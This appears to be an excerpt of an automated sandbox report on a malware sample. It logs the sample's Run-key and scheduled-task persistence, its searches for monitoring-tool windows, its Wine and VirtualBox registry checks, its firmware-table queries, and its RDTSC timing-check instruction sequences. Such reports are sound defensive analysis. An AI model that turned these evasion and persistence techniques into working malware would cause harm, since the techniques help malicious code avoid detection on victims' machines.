Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3f779c1cca.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3f779c1cca.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 994a9a760e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 994a9a760e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fb9fc5d370.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fb9fc5d370.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE66B7 second address: FE66D7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE6C5005F86h 0x00000008 jnc 00007FE6C5005F86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE6C5005F8Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6B9D second address: FE6BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6BA7 second address: FE6BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6BAD second address: FE6BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6D0F second address: FE6D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6D1A second address: FE6D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9A41 second address: FE9A82 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE6C5005F8Ch 0x00000008 jg 00007FE6C5005F86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ecx 0x00000012 jmp 00007FE6C5005F8Bh 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jmp 00007FE6C5005F93h 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 js 00007FE6C5005F86h 0x0000002c pop ebx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9BF9 second address: FE9C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE6C4735529h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9C1E second address: FE9C4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d popad 0x0000000e pop eax 0x0000000f mov edx, dword ptr [ebp+122D39EAh] 0x00000015 lea ebx, dword ptr [ebp+1244999Dh] 0x0000001b cld 0x0000001c xchg eax, ebx 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9C4D second address: FE9C64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9D09 second address: FE9D0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9F32 second address: FE9F38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9F38 second address: FE9F3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9F3D second address: FE9F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9F49 second address: FE9F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE6C5005F86h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FE6C5005F86h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB6EF second address: FFB6F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB6F3 second address: FFB700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1006E47 second address: 1006E87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Eh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jnl 00007FE6C4735516h 0x00000015 jmp 00007FE6C473551Ch 0x0000001a jmp 00007FE6C4735523h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007142 second address: 100716F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE6C5005F86h 0x0000000a popad 0x0000000b ja 00007FE6C5005F92h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FE6C5005F8Bh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100716F second address: 1007177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007479 second address: 100747D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100747D second address: 1007483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007D38 second address: 1007D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE6C5005F86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007E85 second address: 1007EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C4735529h 0x00000009 pop ecx 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jnc 00007FE6C4735516h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100803F second address: 1008049 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE6C5005F86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008049 second address: 100805E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007FE6C4735516h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100805E second address: 100807B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE6C5005F97h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100807B second address: 1008086 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D844 second address: 100D848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5995 second address: FD59A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE6C4735516h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD59A3 second address: FD59AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE6C5005F86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10134CB second address: 10134CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10134CF second address: 10134F1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FE6C5005F94h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10134F1 second address: 101350F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE6C4735530h 0x00000008 jmp 00007FE6C4735524h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10137C4 second address: 10137F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FE6C5005F9Ch 0x0000000b jmp 00007FE6C5005F96h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007FE6C5005F86h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10137F0 second address: 10137F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10137F6 second address: 10137FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
